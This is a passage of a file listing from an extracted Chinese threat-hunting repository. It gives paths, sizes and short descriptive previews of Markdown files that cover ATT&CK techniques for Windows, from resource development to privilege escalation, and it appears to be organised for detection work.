"path": "Windows/02资源开发/T1588.003-获取能力-代码签名证书.md",
"chars": 2641,
"preview": "# T1588-003-获取能力-代码签名证书\n\n## 描述\n\n在入侵目标组织之前,攻击者可能会购买、窃取或下载可在目标定位期间使用的代码签名证书。代码签名是对可执行文件和脚本进行数字签名的过程,以确认软件作者并确保代码未被更改或破坏。代码"
},
{
"path": "Windows/02资源开发/T1588.004-获取能力-数字证书.md",
"chars": 2694,
"preview": "# T1588-004-获取能力-数字证书\n\n## 描述\n\n在入侵目标组织之前,攻击者可能会购买或窃取可在目标定位期间使用的SSL/TLS证书。SSL/TLS证书旨在确保通信安全与信任,包含密钥信息、所有者身份信息以及由可信实体验证的数字签"
},
{
"path": "Windows/02资源开发/T1588.005-获取能力-漏洞利用.md",
"chars": 2109,
"preview": "# T1588-005-获取能力-漏洞利用\n\n## 描述\n\n在入侵目标组织之前,攻击者可能会购买、窃取或下载可在目标定位期间使用的漏洞利用程序。漏洞利用程序利用软硬件的脆弱性,引发计算机硬件或软件上发生意外或未预期的行为。攻击者可能通过在网"
},
{
"path": "Windows/02资源开发/T1588.006-获取能力-漏洞.md",
"chars": 2248,
"preview": "# T1588-006-获取能力-漏洞\n\n## 描述\n\n在入侵目标组织之前,攻击者可能会获取可在目标定位期间使用的漏洞信息。漏洞是计算机硬件或软件中的弱点,可能被攻击者利用,导致意外或非预期的行为发生。攻击者可能通过搜索公开的漏洞数据库(如"
},
{
"path": "Windows/02资源开发/T1608.001-部署能力-部署恶意软件.md",
"chars": 1925,
"preview": "# T1608-001-部署能力-部署恶意软件\n\n## 描述\n\n攻击者可能将恶意软件上传到第三方或攻击者控制的基础设施,以在定向攻击期间使用。恶意软件可能包括有效载荷、投放器、后渗透工具、后门、加壳程序、C2协议或受感染的可移动存储设备内容"
},
{
"path": "Windows/02资源开发/T1608.002-部署能力-部署工具.md",
"chars": 1759,
"preview": "# T1608-002-部署能力-部署工具\n\n## 描述\n\n攻击者可能将工具上传到第三方或攻击者控制的基础设施,以在定向攻击期间使用。工具可以是开源或闭源的,免费或商业的。攻击者可能将原本非恶意的工具(如PsExec、PowerShell或"
},
{
"path": "Windows/02资源开发/T1608.003-部署能力-安装数字证书.md",
"chars": 2255,
"preview": "# T1608-003-部署能力-安装数字证书\n\n## 描述\n\n攻击者可能在定向攻击期间安装SSL/TLS证书,以支持恶意操作。SSL/TLS证书是用于实现系统间安全通信的文件,包含密钥信息、所有者身份信息以及由可信实体验证的数字签名。如果"
},
{
"path": "Windows/02资源开发/T1608.004-部署能力-部署路过式攻击资源.md",
"chars": 2149,
"preview": "# T1608-004-部署能力-部署路过式攻击资源\n\n## 描述\n\n攻击者可能准备一个操作环境,通过在用户正常浏览过程中访问恶意网站感染系统,实施路过式下载(Drive-by Compromise)攻击。用户的Web浏览器通常是攻击目标,"
},
{
"path": "Windows/02资源开发/T1608.005-部署能力-部署链接目标资源.md",
"chars": 1977,
"preview": "# T1608-005-部署能力-部署链接目标资源\n\n## 描述\n\n攻击者可能部署可在定向攻击期间使用的网络链接目标资源,以支持鱼叉式网络钓鱼(Spearphishing)或其他恶意活动。攻击者依赖用户点击恶意链接来泄露信息(如凭据)或获得"
},
{
"path": "Windows/03初始访问/T1078.003-Win-多账户同时登陆.md",
"chars": 3883,
"preview": "# T1078-003-有效账户-多账户同时登录\n\n## 描述\n\n攻击者可能获取并滥用本地账户的凭据,以实现初始访问、建立持久化、提升权限或规避防御。本地账户通常由组织配置,用于用户、远程支持、服务或管理单个系统或服务。攻击者可通过窃取本地"
},
{
"path": "Windows/03初始访问/T1078.003-Win-来自公网的登陆失败行为.md",
"chars": 3987,
"preview": "# T1078.003-有效账户-来自公网的登录失败行为\n\n## 描述\n\n攻击者可能利用面向外部的远程服务(如VPN、Citrix、远程桌面或Windows Remote Management)实现初始访问或在网络内建立持久化。这些服务通常"
},
{
"path": "Windows/03初始访问/T1078.003-Win-账户登录失败.md",
"chars": 4213,
"preview": "# T1078.003-win-账户登录失败\n\n## 描述\n\n攻击者可能通过凭据访问技术(如凭据窃取、暴力破解或社会工程学)获取特定用户或服务账户的凭据,用于初始访问、持久化、权限提升或防御逃避。攻击者可能针对以下三种账户:\n- **默认账"
},
{
"path": "Windows/03初始访问/T1133-外部远程服务.md",
"chars": 4675,
"preview": "# T1133-外部远程服务\n\n## 描述\n\n攻击者可能利用面向外部的远程服务实现初始访问或在企业网络内建立持久化。远程服务包括但不限于虚拟专用网络(VPN)、Citrix、远程桌面协议(RDP)、Windows Remote Manage"
},
{
"path": "Windows/03初始访问/T1190-SQL server滥用.md",
"chars": 9116,
"preview": "# T1190-检测SQL Server滥用\n\n## 描述\n\n攻击者可能利用面向Internet的应用程序(如SQL Server数据库)的漏洞,通过软件、数据或命令引发意外或非预期行为,从而实现初始访问、权限提升或防御逃逸(T1190)。"
},
{
"path": "Windows/03初始访问/T1190-可疑的SQL错误消息.md",
"chars": 4686,
"preview": "# T1190-可疑的SQL错误消息\n\n## 描述\n\n攻击者可能利用面向公众的应用程序(如Web应用程序或数据库)的漏洞,通过软件、数据或命令引发意外或非预期行为,从而实现初始访问、权限提升或防御逃逸。面向公众的应用程序包括网站、数据库(如"
},
{
"path": "Windows/03初始访问/T1190-邮箱暴力破解攻击流量分析.md",
"chars": 5057,
"preview": "# T1190-邮箱暴力破解攻击流量分析\n\n## 描述\n\n攻击者可能利用面向公众的应用程序(如Web邮件服务、数据库或标准服务)的漏洞,通过软件、数据或命令引发意外或非预期行为,从而实现初始访问(T1190)。邮箱服务(如基于POP3、SM"
},
{
"path": "Windows/03初始访问/T1566.001-Win-可疑的MS Office子进程.md",
"chars": 7492,
"preview": "# T1566.001-Win-可疑的MS Office子进程\n\n# 描述\n\n攻击者可能通过发送带有恶意附件的鱼叉式电子邮件(Spearphishing Attachment)实现对受害者系统的初始访问(T1566.001)。这些附件通常包"
},
{
"path": "Windows/04执行/T1047-win-使用Wmic执行payload(白名单).md",
"chars": 6318,
"preview": "# T1047-Win-使用WMIC执行payload(白名单)\n\n## 描述\n\n攻击者可能利用Windows Management Instrumentation(WMI)与本地或远程系统交互,执行多种策略功能,如信息收集、远程命令执行或"
},
{
"path": "Windows/04执行/T1047-win-通过WMIC创建远程进程.md",
"chars": 3456,
"preview": "# T1047-Win-通过WMIC创建远程进程\n\n## 描述\n\n攻击者可能利用Windows Management Instrumentation(WMI)与本地或远程系统交互,执行多种战术功能,如信息收集、远程命令执行或横向移动(T10"
},
{
"path": "Windows/04执行/T1053.002-Win-交互式at计划任务.md",
"chars": 4993,
"preview": "# T1053.002-Win-交互式AT计划任务\n\n## 描述\n\n攻击者可能利用Windows任务调度器,通过`at.exe`或`schtasks.exe`等实用程序在特定时间或系统启动时执行程序或脚本,从而实现持久化、横向移动、权限提升"
},
{
"path": "Windows/04执行/T1053.002-Win-通过GPO计划任务进行大规模的持久性和执行.md",
"chars": 5809,
"preview": "# T1053.002-Win-通过GPO计划任务进行大规模的持久性和执行\n\n## 描述\n\n攻击者可能利用Windows任务调度器,通过`at.exe`或`schtasks.exe`等实用程序在特定时间或系统启动时执行程序或脚本,实现持久性"
},
{
"path": "Windows/04执行/T1053.005-Win-schtasks本地计划任务.md",
"chars": 5764,
"preview": "# T1053.005-Win-schtasks本地计划任务\n\n## 描述\n\n攻击者可能利用Windows任务调度器,通过`schtasks.exe`实用程序在特定时间或系统启动时执行程序或脚本,实现持久性、横向移动、权限提升或以指定账户上"
},
{
"path": "Windows/04执行/T1059-win-使用Certutil.exe执行Payload(白名单).md",
"chars": 6758,
"preview": "# T1059-Win-使用Certutil.exe执行Payload(白名单)\n\n## 描述\n\n攻击者可能利用命令行界面工具(如Windows的`certutil.exe`)与系统交互,执行任务或启动恶意软件,以实现信息收集、恶意代码执行"
},
{
"path": "Windows/04执行/T1059-win-使用Ftp.exe执行Payload(白名单).md",
"chars": 6523,
"preview": "# T1059-Win-使用Ftp.exe执行Payload(白名单)\n\n## 描述\n\n攻击者可能利用Windows命令行界面工具(如`ftp.exe`)与系统交互,执行恶意命令或Payload,以实现恶意代码执行、持久性或横向移动(T10"
},
{
"path": "Windows/04执行/T1059-win-使用wusa卸载系统更新.md",
"chars": 5004,
"preview": "# T1059-Win-使用wusa卸载系统更新\n\n## 描述\n\n攻击者可能利用Windows命令行界面工具(如`wusa.exe`)与系统交互,执行恶意操作以实现防御规避或持久性(T1059)。`wusa.exe`(Windows Upd"
},
{
"path": "Windows/04执行/T1059-win-进程生成CMD.md",
"chars": 4187,
"preview": "# T1059-Win-进程生成Cmd\n\n## 描述\n\n攻击者可能利用命令行界面(如Windows的`cmd.exe`)与系统交互,执行命令或启动其他软件,以实现信息收集、恶意代码执行或横向移动(T1059)。`cmd.exe`是Windo"
},
{
"path": "Windows/04执行/T1059.001-Win-使用Powershell.exe执行Payload(白名单).md",
"chars": 7189,
"preview": "# T1059.Win-使用Powershell.exe执行Payload(白名单)\n\n## 描述\n\n攻击者可能滥用PowerShell(`powershell.exe`)执行命令和脚本,以实现信息发现、恶意代码执行、持久性或横向移动(T1"
},
{
"path": "Windows/04执行/T1059.001-Win-检测PowerShell2.0版本执行.md",
"chars": 5814,
"preview": "# T1059.001-Win-检测PowerShell 2.0版本执行情况\n\n## 描述\n\n攻击者可能滥用PowerShell执行命令和脚本,实现信息发现、恶意代码执行或横向移动(T1059.001)。PowerShell是Windows"
},
{
"path": "Windows/04执行/T1059.001-Win-检测PowerShell下载文件.md",
"chars": 6526,
"preview": "# T1059-001-Win-检测Powershell下载文件\n\n## 描述\n\n攻击者可能滥用PowerShell执行命令和脚本,以实现信息发现、恶意代码执行或横向移动(T1059.001)。PowerShell是Windows操作系统内"
},
{
"path": "Windows/04执行/T1559.001-Win-利用进程间通信执行-组件对象模型-COM.md",
"chars": 6201,
"preview": "# T1559.001-Win-利用进程间通信执行-组件对象模型-COM\n\n## 描述\n\n攻击者可能滥用Windows组件对象模型(COM)执行本地或远程代码(T1559.001)。COM是Windows原生的进程间通信(IPC)机制,允许"
},
{
"path": "Windows/04执行/T1559.002-Win-利用进程间通讯执行-动态数据交换-OLE.md",
"chars": 6605,
"preview": "# T1559.002-Win-利用进程间通信执行-动态数据交换-OLE\n\n## 描述\n\n攻击者可能滥用Windows动态数据交换(DDE)协议通过对象链接与嵌入(OLE)技术执行任意命令(T1559.002)。DDE是一种客户端-服务器协"
},
{
"path": "Windows/04执行/T1559.002-win-利用进程间通信执行-动态数据交换-DDE.md",
"chars": 4877,
"preview": "# T1559.002-win-利用进程间通信执行-动态数据交换-DDE\n\n## 描述\n\n攻击者可能滥用Windows动态数据交换(DDE)协议执行任意命令(T1559.002)。DDE是Windows的进程间通信(IPC)机制,允许客户端"
},
{
"path": "Windows/05持久化/T1078.001-Win-DSRM重置密码.md",
"chars": 7368,
"preview": "# T1078.001-Win-DSRM密码重置\n\n## 描述\n\n攻击者可能通过凭据访问技术(如窃取、社交工程或侦察)获取特定用户或服务账号的凭据,以获得初始访问或持久化权限(T1078.001)。在域环境中,攻击者可利用目录服务还原模式("
},
{
"path": "Windows/05持久化/T1098-Win-AdminSDHolder.md",
"chars": 6312,
"preview": "# T1098-Win-AdminSDHolder\n\n## 描述\n\n攻击者通过账户操作技术维持对目标环境的凭据或特定权限级别的持久化访问(T1098)。AdminSDHolder是Active Directory(AD)中的一个特殊容器(`"
},
{
"path": "Windows/05持久化/T1098-Win-万能密码.md",
"chars": 7824,
"preview": "# T1098-Win-万能密码(Skeleton Key)\n\n## 描述\n\n攻击者可能通过账户操作技术(如修改凭据或权限)维持对目标环境的持久化访问(T1098)。Skeleton Key(万能密码)是一种高级持久化技术,通过在域控制器("
},
{
"path": "Windows/05持久化/T1098-Win-账户操作.md",
"chars": 7107,
"preview": "# T1098-Win-账户操作\n\n## 描述\n\n攻击者通过账户操作技术维持对目标环境的凭据或特定权限级别的持久化访问(T1098)。账户操作包括但不限于修改权限、更改凭据、添加或移除权限组、修改账户设置(如启用/禁用账户)或篡改身份验证机"
},
{
"path": "Windows/05持久化/T1136.001-Win-创建本地账户.md",
"chars": 7284,
"preview": "# T1136.001-Win-创建本地账户\n\n## 描述\n\n攻击者可能通过创建本地系统账户实现持久化访问(T1136.001),无需部署远程访问工具。具备足够权限(如管理员)的攻击者可使用Windows内置工具(如`net user`)或"
},
{
"path": "Windows/05持久化/T1137.002-Win-office应用启动程序-office test.md",
"chars": 7933,
"preview": "# T1137.002-Win-Office应用启动程序-Office Test\n\n## 描述\n\n攻击者可能滥用Microsoft Office的“Office Test”注册表键实现系统持久化(T1137.002)。该注册表键允许用户指定"
},
{
"path": "Windows/05持久化/T1137.004-Win-office应用启动程序-outlook主页.md",
"chars": 8628,
"preview": "# T1137.004-Win-Office应用启动程序-Outlook主页\n\n## 描述\n\n攻击者可能利用Microsoft Outlook的“主页”(Home Page)功能实现系统持久化(T1137.004)。Outlook主页允许为"
},
{
"path": "Windows/05持久化/T1176-浏览器扩展.md",
"chars": 7443,
"preview": "# T1176-浏览器扩展\n\n## 描述\n\n攻击者可能滥用浏览器扩展(或插件)在目标系统上建立持久化访问(T1176)。浏览器扩展是增强浏览器功能的小程序,可通过应用商店或直接安装,拥有对浏览器访问内容(如网页数据、用户输入、凭据)的广泛权"
},
{
"path": "Windows/05持久化/T1197-Win-BITS Jobs权限维持.md",
"chars": 7143,
"preview": "# T1197-Win-BITS Jobs权限维持\n\n## 描述\n\n攻击者可能滥用Windows后台智能传输服务(BITS)实现持久化、文件传输或数据外泄(T1197)。BITS是一种低带宽异步文件传输机制,通过COM接口公开,支持HTTP"
},
{
"path": "Windows/05持久化/T1505.003-Regeorg-HTTP隧道检测.md",
"chars": 7932,
"preview": "# T1505-003-Regeorg-HTTP隧道检测\n\n## 描述\n\n攻击者可能通过部署Web Shell在Web服务器上创建后门,以实现对目标系统的持久化访问(T1505.003)。Web Shell是一种运行在可公开访问Web服务器"
},
{
"path": "Windows/05持久化/T1505.003-web服务关联可疑进程识别webshell行为.md",
"chars": 10012,
"preview": "# T1505-003-Web服务关联可疑进程识别WebShell行为\n\n## 描述\n\n攻击者可能通过在可公开访问的Web服务器上部署Web Shell实现持久化访问(T1505.003)。Web Shell是运行在Web服务器上的恶意脚本"
},
{
"path": "Windows/05持久化/T1543.003-Win-windows服务Dnscmd.exe(白名单).md",
"chars": 9108,
"preview": "# T1543-003-Win-Windows服务Dnscmd.exe持久化\n\n## 描述\n\n攻击者可能通过创建或修改Windows服务实现恶意代码的持久化执行(T1543.003)。Windows服务是在系统启动时运行的后台程序,负责核心"
},
{
"path": "Windows/05持久化/T1546.001-Win-事件触发执行-更改默认文件关联.md",
"chars": 7756,
"preview": "# T1546-001-Win-事件触发执行-更改默认文件关联\n\n## 描述\n\n攻击者可能通过修改文件类型关联实现持久化执行恶意代码(T1546.001)。Windows通过文件扩展名关联默认程序(文件处理程序)来打开特定类型的文件,相关配"
},
{
"path": "Windows/05持久化/T1546.002-Win-事件触发执行-屏幕保护程序.md",
"chars": 10369,
"preview": "# T1546-002-Win-事件触发执行-屏幕保护程序\n\n## 描述\n\n攻击者可能通过修改屏幕保护程序设置实现持久化执行恶意代码(T1546.002)。Windows屏幕保护程序是在用户不活动一段时间后自动运行的可执行文件(扩展名为`."
},
{
"path": "Windows/05持久化/T1546.007-Win-通过netsh key持久化.md",
"chars": 8642,
"preview": "# T1546-007-Win-通过Netsh Helper DLL持久化\n\n## 描述\n\n攻击者可能通过注册Netsh Helper DLL实现持久化执行恶意代码(T1546.007)。`Netsh.exe`是Windows提供的命令行工"
},
{
"path": "Windows/05持久化/T1546.012-Win-事件触发执行-图片文件执行选项注入.md",
"chars": 14865,
"preview": "# T1546-012-Win-事件触发执行-图片文件执行选项注入\n\n## 描述\n\n攻击者可能通过修改图像文件执行选项(Image File Execution Options, IFEO)注册表键实现持久化或权限提升(T1546.012)"
},
{
"path": "Windows/05持久化/T1546.015-Win-组件对象模型劫持-Dllhost.exe(白名单).md",
"chars": 10583,
"preview": "# T1546-015-Win-组件对象模型劫持-Dllhost.exe\n\n## 描述\n\n攻击者通过劫持Windows组件对象模型(COM)对象的注册表引用,插入恶意代码以实现持久化(T1546.015)。COM是Windows用于组件间交"
},
{
"path": "Windows/05持久化/T1547.005-Win-SSP权限维持.md",
"chars": 12396,
"preview": "# T1547-005-Win-SSP权限维持\n\n## 描述\n\n攻击者通过注册恶意的Windows安全支持提供程序(Security Support Provider, SSP)动态链接库(DLL)实现持久化(T1547.005)。SSP是"
},
{
"path": "Windows/05持久化/T1548.002-Win-绕过用户账户控制-Eventvwr.exe(白名单).md",
"chars": 8510,
"preview": "# T1548-002-Win-绕过用户账户控制-Eventvwr.exe\n\n## 描述\n\n攻击者可通过利用`eventvwr.exe`的自动提升特性绕过Windows用户账户控制(UAC),在无需用户确认的情况下以高完整性级别执行恶意代码"
},
{
"path": "Windows/06权限提升/T1037.001-Win-Boot或logon初始化脚本-登录脚本.md",
"chars": 5807,
"preview": "# T1037.001-Win-Boot或Logon初始化脚本-登录脚本\n\n## 描述\n\n攻击者可能利用Windows登录脚本在用户登录时自动执行恶意代码,以实现持久化。Windows支持通过配置登录脚本在特定用户或用户组登录系统时运行指定"
},
{
"path": "Windows/06权限提升/T1068-win-权限提升-带有Headless参数的Windows ConHost.md",
"chars": 5265,
"preview": "# T1068-Win-权限提升-带有Headless参数的Windows ConHost\n\n## 描述\n\n攻击者可能利用软件漏洞或滥用系统可执行文件(如`conhost.exe`)来提升权限或规避防御机制。T1068技术涉及利用程序、服务"
},
{
"path": "Windows/06权限提升/T1078.003-Win-帐户篡改-可疑的失败登录原因.md",
"chars": 2651,
"preview": "# T1078.003-Win-可疑的失败登录行为\n\n## 描述\n\n攻击者可能通过凭据访问技术窃取特定用户或服务账号的凭据,或者在早期的侦察过程中通过社会工程手段捕获凭据以获得首次访问权限。\n\n攻击者可能使用以下三类账号:\n1. **默认账"
},
{
"path": "Windows/06权限提升/T1134.001-Win-CVE-2020-1472.md",
"chars": 4729,
"preview": "# T1134.001-Win-CVE-2020-1472\n\n## 描述\n\n攻击者可能通过复制并冒充另一个用户的令牌来提升特权并绕过访问控制。攻击者可以使用`DuplicateToken(Ex)`函数创建新的访问令牌,复制现有令牌。然后,该"
},
{
"path": "Windows/06权限提升/T1134.001-Win-访问令牌操作-Runas命令.md",
"chars": 4660,
"preview": "# T1134.001-Win-访问令牌操作-Runas命令\n\n## 描述\n\n攻击者可能会复制并冒充另一个用户的访问令牌,以提升特权或绕过访问控制。攻击者可以通过使用Windows API函数`DuplicateToken(Ex)`来复制现"
},
{
"path": "Windows/06权限提升/T1134.005-Win-SID历史记录注入.md",
"chars": 3564,
"preview": "# T1134.005-Win-SID-History-Injection\n\n## 描述\n\nWindows安全标识符(SID)是用于标识用户或组账户的唯一值。Windows安全机制在安全描述符和访问令牌中使用SID。账户的SID历史记录(S"
},
{
"path": "Windows/06权限提升/T1548.002-Win-使用Nircmd.exe进行权限提升.md",
"chars": 5435,
"preview": "# T1548.002-Win-使用Nircmd.exe进行权限提升\n\n## 描述\n\n攻击者可能通过滥用权限提升控制机制(如绕过用户账户控制,UAC)获得更高的系统权限。UAC是Windows的一项安全功能,旨在防止未经授权的更改,要求用户"
},
{
"path": "Windows/06权限提升/T1574.001-Win-劫持执行流程-DLL搜索顺序劫持.md",
"chars": 5103,
"preview": "# T1574.001-Win-劫持执行流程-DLL搜索顺序劫持\n\n## 来自ATT&CK的描述\n\n攻击者可通过劫持Windows用于加载DLL的搜索顺序来执行恶意负载。Windows系统采用标准方法查找程序所需的DLL文件。劫持DLL加载"
}
]
// ... and 146 more files (download for full content)
About this extraction
This page contains the full source code of the 12306Bro/Threathunting-book GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 346 files (1.8 MB), approximately 834.9k tokens. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.